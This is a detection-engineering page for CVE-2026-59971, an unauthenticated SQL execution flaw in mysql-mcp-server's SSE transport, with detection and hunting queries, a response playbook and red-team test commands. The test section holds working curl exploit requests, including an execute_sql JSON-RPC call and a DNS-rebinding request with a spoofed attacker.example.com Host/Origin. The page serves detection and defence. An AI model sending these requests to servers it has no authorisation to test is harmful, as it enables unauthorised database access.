CVE-2026-59971 Sumo Logic CSE · Sumo

Detect MySQL MCP Server SSE Transport Missing Origin/Host Validation - Unauthenticated SQL Execution (CVE-2026-59971) in Sumo Logic CSE

Detects exploitation of CVE-2026-59971, a CVSS 10.0 flaw in the mysql-mcp-server (pip) package versions < 0.4.2. The SSE (Server-Sent Events) HTTP transport fails to validate the Origin and Host headers (CWE-306 Missing Authentication, CWE-346 Origin Validation Error), allowing an attacker to reach the MCP JSON-RPC endpoint and invoke database tools without authentication. This enables unauthenticated SQL execution either via direct network exposure of the SSE listener or via DNS rebinding attacks against a locally-bound server from a victim's browser. Detection focuses on requests to MCP SSE/message endpoints (commonly /sse and /messages) carrying missing, external, or mismatched Origin/Host headers, followed by MCP tool-invocation JSON-RPC calls (tools/call with execute_sql) and subsequent anomalous MySQL query activity.

MITRE ATT&CK

Tactic
Initial Access Collection Exfiltration

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=*proxy* OR _sourceCategory=*web*
| parse regex "(?<method>GET|POST)\s(?<uri>\S+)"
| where uri matches /\/(sse|messages|message|mcp)/
| parse regex "Origin:\s(?<origin>\S+)" nodrop
| where isNull(origin) OR (!(origin matches /.*localhost.*/) AND !(origin matches /.*127\.0\.0\.1.*/))
| where !(src_ip matches /127\..*/)
| count by src_ip, dest_ip, uri, method, origin
| sort by _count
critical severity medium confidence

Aggregates requests to MCP SSE transport paths carrying missing or non-loopback Origin headers from external sources, indicating exploitation of the missing Origin/Host validation.

Data Sources

Web proxy logsLoad balancer access logs

Required Tables

_sourceCategory proxy/web

False Positives & Tuning

  • Legitimate local clients whose loopback origin is stripped or rewritten by an intermediary proxy.
  • Periodic availability checks and crawlers hitting the endpoint.
  • Authorized red-team or rebinding research activity.

Other platforms for CVE-2026-59971

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Direct unauthenticated SSE connection with missing Origin

    Expected signal: Proxy/web log entry for GET /sse from a non-loopback source with no Origin header.

  2. Test 2JSON-RPC execute_sql tool call over message endpoint

    Expected signal: POST /messages event with a tools/call execute_sql body and a corresponding MySQL query-log entry for SELECT current_user().

  3. Test 3DNS rebinding against loopback-bound server via spoofed Host header

    Expected signal: Local HTTP request to /messages bearing an external Host and Origin header that the vulnerable server accepts.

Last updated: 2026-09-16 Research depth: standard
References (4)

Response Playbook

Triage

  1. Confirm whether the destination host runs mysql-mcp-server and determine its version; any version < 0.4.2 is vulnerable. Check the installed package with `pip show mysql-mcp-server`.
  2. Determine the transport binding: inspect how the server was launched and whether the SSE listener is bound to 0.0.0.0 (network-exposed) or 127.0.0.1 (DNS-rebinding risk only). Exposure on a non-loopback interface is the highest-severity condition.
  3. Review the Origin and Host headers on the flagged requests. A missing Origin, an external Origin, or a Host that does not match the expected loopback indicates exploitation rather than a legitimate local client.
  4. Correlate the SSE connection with subsequent JSON-RPC `tools/call` payloads invoking `execute_sql` and cross-reference against MySQL general/audit logs for queries executed in the same window.

Containment

  1. Immediately restrict the SSE listener: rebind to 127.0.0.1 only, place it behind an authenticating reverse proxy, or firewall the listening port (commonly 5000/8000) to trusted hosts.
  2. Upgrade mysql-mcp-server to >= 0.4.2, which adds Origin/Host validation, and restart the service.
  3. Rotate the MySQL credentials configured for the MCP server and review/limit the database account's privileges to least necessary.
  4. If active exploitation is confirmed, isolate the host from the network pending investigation.

Evidence Collection

  1. Capture reverse-proxy / web server access logs showing request paths, Origin/Host headers, source IPs, and timestamps for the flagged sessions.
  2. Export MySQL general query log or audit log entries for the relevant time window to establish which SQL statements were executed via the MCP server.
  3. Preserve the mysql-mcp-server process command line, configuration, and the installed package version for forensic record.

Escalation Criteria

  • !Escalate to incident response if JSON-RPC execute_sql calls from a non-loopback or missing-Origin source are confirmed against production data.
  • !Escalate if the SSE listener was bound to a non-loopback interface and reachable from untrusted networks, regardless of confirmed data access.
  • !Escalate if SQL activity indicates data exfiltration (large SELECTs, dumps) or tampering (DROP/UPDATE/DELETE) correlated with the suspicious MCP sessions.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Reverse-proxy/web access logs with Origin/Host headers for /sse and /messages requests
  • >MySQL general query log / audit log entries correlated to MCP tool invocations
  • >mysql-mcp-server process command line and configuration showing the bind address
  • >Installed pip package version metadata (mysql-mcp-server < 0.4.2)

Tuning Guidance

Baseline the legitimate MCP client source IPs and Origin values in your environment (typically loopback or a known IDE/agent host) and allowlist them. If the server is correctly bound to 127.0.0.1 and fronted by an authenticating proxy, narrow the rule to requests whose Origin/Host fail validation rather than all non-loopback sources. Tune the correlation window in the EQL/sequence rules to match observed SSE-to-tool-call latency, and exclude known scanner and monitoring user-agents to reduce noise.

Hunting Queries

Hunts for non-loopback sources reaching MCP SSE endpoints, surfacing candidate exposed or rebound mysql-mcp-server instances for triage.

Hunting — KQL
kql 
CommonSecurityLog | where RequestURL has_any ("/sse", "/messages") | extend Origin = tostring(parse_json(AdditionalExtensions).requestClientApplication) | where SourceIP !startswith "127." | summarize count() by SourceIP, RequestURL, bin(TimeGenerated, 1h)
Hunting — SPL
spl 
index=proxy (uri_path="/sse" OR uri_path="/messages") NOT src_ip=127.0.0.1 | stats count values(uri_path) by src_ip http_origin

Atomic Red Team Tests

Test 1 Direct unauthenticated SSE connection with missing Origin
linux

Opens an SSE session against a network-exposed mysql-mcp-server without supplying an Origin header, simulating direct exposure exploitation.

Command

bash 
curl -sN -X GET http://TARGET_HOST:5000/sse -H 'Accept: text/event-stream'

Cleanup

bash 
No artifacts created; terminate the curl process (Ctrl-C) to close the stream.

Expected Telemetry

Proxy/web log entry for GET /sse from a non-loopback source with no Origin header.

Expected Detection

KQL/SPL rules flag the non-loopback request to /sse with missing Origin.

Test 2 JSON-RPC execute_sql tool call over message endpoint
linux

Posts an MCP JSON-RPC tools/call invoking execute_sql to the /messages endpoint without authentication or valid Origin, simulating SQL execution.

Command

bash 
curl -s -X POST http://TARGET_HOST:5000/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"execute_sql","arguments":{"query":"SELECT current_user();"}}}'

Cleanup

bash 
The SELECT is read-only; no cleanup required. If a write query was used in testing, manually revert the affected rows.

Expected Telemetry

POST /messages event with a tools/call execute_sql body and a corresponding MySQL query-log entry for SELECT current_user().

Expected Detection

Elastic EQL sequence correlates the SSE open with the execute_sql tools/call; MySQL query log shows the executed statement.

Test 3 DNS rebinding against loopback-bound server via spoofed Host header
linux

Simulates a DNS-rebinding request reaching a loopback-bound MCP server by sending a spoofed external Host/Origin header, which the vulnerable version fails to validate.

Command

bash 
curl -s -X POST http://127.0.0.1:5000/messages -H 'Host: attacker.example.com' -H 'Origin: http://attacker.example.com' -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_sql","arguments":{"query":"SHOW DATABASES;"}}}'

Cleanup

bash 
Read-only query; no cleanup required.

Expected Telemetry

Local HTTP request to /messages bearing an external Host and Origin header that the vulnerable server accepts.

Expected Detection

Rules flag the mismatched Host/Origin header on the MCP endpoint; patched (>=0.4.2) servers reject the request with an origin-validation error.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0009CollectionTA0010Exfiltration

Related Techniques

T1190Exploit Public-Facing ApplicationT1213Data from Information RepositoriesT1557Adversary-in-the-Middle

Same Tactic: Initial Access

Popular Detections